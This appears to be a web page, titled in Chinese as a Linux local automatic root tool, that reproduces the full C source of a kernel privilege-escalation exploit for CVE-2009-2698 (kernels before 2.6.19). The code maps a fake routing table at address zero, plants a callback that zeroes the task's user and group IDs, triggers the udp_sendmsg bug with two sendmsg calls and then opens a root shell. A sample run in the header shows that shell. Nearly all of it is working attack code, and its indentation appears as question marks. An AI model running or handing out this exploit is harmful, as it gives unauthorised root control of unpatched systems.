Linux本地自动获取root权限工具
/***********************************************************
* hoagie_udp_sendmsg.c
* LOCAL LINUX KERNEL ROOT EXPLOIT (< 2.6.19) - CVE-2009-2698
*
* udp_sendmsg bug exploit via (*output) callback function
* used in dst_entry / rtable
*
* Bug reported by Tavis Ormandy and Julien Tinnes
* of the Google Security Team
*
* Tested with Debian Etch (r0)
*
* $ cat /etc/debian_version
* 4.0
* $ uname -a
* Linux debian 2.6.18-4-686 #1 SMP Mon Mar 26 17:17:36 UTC 2007 i686 GNU/Linux
* $ gcc hoagie_udp_sendmsg.c -o hoagie_udp_sendmsg
* $ ./hoagie_udp_sendmsg
* hoagie_udp_sendmsg.c - linux root < 2.6.19 local
* -andi / void.at
*
* sh-3.1# id
* uid=0(root) gid=0(root) Gruppen=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(andi)
* sh-3.1#
*
* THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
* CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
* DAMAGE DONE USING THIS PROGRAM.
*
* VOID.AT Security
* andi@void.at
* http://www.void.at
*
************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <sys/mman.h>
/**
* this code will be called from NF_HOOK via (*output) callback in kernel mode
*/
void set_current_task_uids_gids_to_zero() {
? ?asm("push %eax\n"
? ? ? ?"movl $0xffffe000, %eax\n"
? ? ? ?"andl %esp, %eax\n"
? ? ? ?"movl (%eax), %eax\n"
? ? ? ?"movl $0x0, 0x150(%eax)\n"
? ? ? ?"movl $0x0, 0x154(%eax)\n"
? ? ? ?"movl $0x0, 0x158(%eax)\n"
? ? ? ?"movl $0x0, 0x15a(%eax)\n"
? ? ? ?"movl $0x0, 0x160(%eax)\n"
? ? ? ?"movl $0x0, 0x164(%eax)\n"
? ? ? ?"movl $0x0, 0x168(%eax)\n"
? ? ? ?"movl $0x0, 0x16a(%eax)\n"
? ? ? ?"pop ?%eax\n");
}
int main(int argc, char **argv) {
? ?int s;
? ?struct msghdr header;
? ?struct sockaddr_in sin;
? ?char *rtable = NULL;
? ?fprintf(stderr,
? ? ? ? ? ?"hoagie_udp_sendmsg.c - linux root <= 2.6.19 local\n"
? ? ? ? ? ? ? ? ? "-andi / void.at\n\n");
? ?s = socket(PF_INET, SOCK_DGRAM, 0);
? ?if (s == -1) {
? ? ? fprintf(stderr, "[*] can't create socket\n");
? ? ? exit(-1);
? ?}
? ?/**
? ? * initialize required variables
? ? */
? ?memset(&header, 0, sizeof(struct msghdr));
? ?memset(&sin, 0, sizeof(struct sockaddr_in));
? ?sin.sin_family = AF_INET;
? ?sin.sin_addr.s_addr = inet_addr("127.0.0.1");
? ?sin.sin_port = htons(22);
? ?header.msg_name = &sin;
? ?header.msg_namelen = sizeof(sin);
? ?/**
? ? * and this is the trick:
? ? * we can use (*output)(struct sk_buff*) from dst_entry (used by rtable) as a callback (=> offset 0x74)
? ? * so we map our rtable buffer at offset 0 and set output callback function
? ? *
? ? * struct dst_entry
? ? * {
? ? * ? ? ? ? struct dst_entry ? ? ? ?*next;
? ? * ? ? ? ? atomic_t ? ? ? ? ? ? ? ?__refcnt; ? ? ? client references
? ? * ? ? ? ? int ? ? ? ? ? ? ? ? ? ? __use;
? ? * ? ? ? ? struct dst_entry ? ? ? ?*child;
? ? * ? ? ? ? struct net_device ? ? ? *dev;
? ? * ? ? ? ? short ? ? ? ? ? ? ? ? ? error;
? ? * ? ? ? ? short ? ? ? ? ? ? ? ? ? obsolete;
? ? * ? ? ? ? int ? ? ? ? ? ? ? ? ? ? flags;
? ? * #define DST_HOST ? ? ? ? ? ? ? ?1
? ? * #define DST_NOXFRM ? ? ? ? ? ? ?2
? ? * #define DST_NOPOLICY ? ? ? ? ? ?4
? ? * #define DST_NOHASH ? ? ? ? ? ? ?8
? ? * #define DST_BALANCED ? ? ? ? ? ?0x10
? ? * ? ? ? ? unsigned long ? ? ? ? ? lastuse;
? ? * ? ? ? ? unsigned long ? ? ? ? ? expires;
? ? *
? ? * ? ? ? ? unsigned short ? ? ? ? ?header_len; ? ? * more space at head required *
? ? * ? ? ? ? unsigned short ? ? ? ? ?trailer_len; ? ?* space to reserve at tail *
? ? *
? ? * ? ? ? ? u32 ? ? ? ? ? ? ? ? ? ? metrics[RTAX_MAX];
? ? * ? ? ? ? struct dst_entry ? ? ? ?*path;
? ? *
? ? * ? ? ? ? unsigned long ? ? ? ? ? rate_last; ? ? ?* rate limiting for ICMP *
? ? * ? ? ? ? unsigned long ? ? ? ? ? rate_tokens;
? ? *
? ? * ? ? ? ? struct neighbour ? ? ? ?*neighbour;
? ? * ? ? ? ? struct hh_cache ? ? ? ? *hh;
? ? * ? ? ? ? struct xfrm_state ? ? ? *xfrm;
? ? *
? ? * ? ? ? ? int ? ? ? ? ? ? ? ? ? ? (*input)(struct sk_buff*);
? ? * ? ? ? ? int ? ? ? ? ? ? ? ? ? ? (*output)(struct sk_buff*);
? ? *
? ? * #ifdef CONFIG_NET_CLS_ROUTE
? ? * ? ? ? ? __u32 ? ? ? ? ? ? ? ? ? tclassid;
? ? * #endif
? ? *
? ? * ? ? ? ? struct ?dst_ops ? ? ? ? *ops;
? ? * ? ? ? ? struct rcu_head ? ? ? ? rcu_head;
? ? *
? ? * ? ? ? ? char ? ? ? ? ? ? ? ? ? ?info[0];
? ? * };
? ? *
? ? * struct rtable
? ? * {
? ? * ? ? ? ? union
? ? * ? ? ? ? {
? ? * ? ? ? ? ? ? ? ? struct dst_entry ? ? ? ?dst;
? ? * ? ? ? ? ? ? ? ? struct rtable ? ? ? ? ? *rt_next;
? ? * ? ? ? ? } u;
? ? *
? ? * ? ? ? ? struct in_device ? ? ? ?*idev;
? ? *
? ? * ? ? ? ? unsigned ? ? ? ? ? ? ? ?rt_flags;
? ? * ? ? ? ? __u16 ? ? ? ? ? ? ? ? ? rt_type;
? ? * ? ? ? ? __u16 ? ? ? ? ? ? ? ? ? rt_multipath_alg;
? ? *
? ? * ? ? ? ? __be32 ? ? ? ? ? ? ? ? ?rt_dst; * Path destination ? ? *
? ? * ? ? ? ? __be32 ? ? ? ? ? ? ? ? ?rt_src; * Path source ? ? ? ? ?*
? ? * ? ? ? ? int ? ? ? ? ? ? ? ? ? ? rt_iif;
? ? *
? ? * ? ? ? ? * Info on neighbour *
? ? * ? ? ? ? __be32 ? ? ? ? ? ? ? ? ?rt_gateway;
? ? *
? ? * ? ? ? ? * Cache lookup keys *
? ? * ? ? ? ? struct flowi ? ? ? ? ? ?fl;
? ? *
? ? * ? ? ? ? * Miscellaneous cached information *
? ? * ? ? ? ? ?__be32 ? ? ? ? ? ? ? ? ?rt_spec_dst; * RFC1122 specific destination *
? ? * ? ? ? ? struct inet_peer ? ? ? ?*peer; * long-living peer info *
? ? * };
? ? *
? ? */
? ?rtable = mmap(0, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
? ?if (rtable == MAP_FAILED) {
? ? ? fprintf(stderr, "[*] mmap failed\n");
? ? ? exit(-1);
? ?}
? ?*(int *)(rtable + 0x74) = (int)set_current_task_uids_gids_to_zero;
? ?/* trigger exploit
? ? *
? ? * the second sendmsg() call will call ip_append_data() with rt == NULL
? ? * because of:
? ? * if (up->pending) {
? ? * ? ? ? ? ?*
? ? * ? ? ? ? ?* There are pending frames.
? ? * ? ? ? ? ?* The socket lock must be held while it's corked.
? ? * ? ? ? ? ?*
? ? * ? ? ? ? ?lock_sock(sk);
? ? * ? ? ? ? ?if (likely(up->pending)) {
? ? * ? ? ? ? ? ? ? ? ? ?if (unlikely(up->pending != AF_INET)) {
? ? * ? ? ? ? ? ? ? ? ? ? ? ? ? ?release_sock(sk);
? ? * ? ? ? ? ? ? ? ? ? ? ? ? ? ?return -EINVAL;
? ? * ? ? ? ? ? ? ? ? ? ?}
? ? * ? ? ? ? ? ? ? ? ? ?goto do_append_data;
? ? * ? ? ? ? ? ?}
? ? * ? ? ? ? ? ?release_sock(sk);
? ? * ? ?}
? ? *
? ? */
? ?sendmsg(s, &header, MSG_MORE|MSG_PROXY);
? ?sendmsg(s, &header, 0);
? ?close(s);
? ?system("/bin/sh");
? ?return 0;
}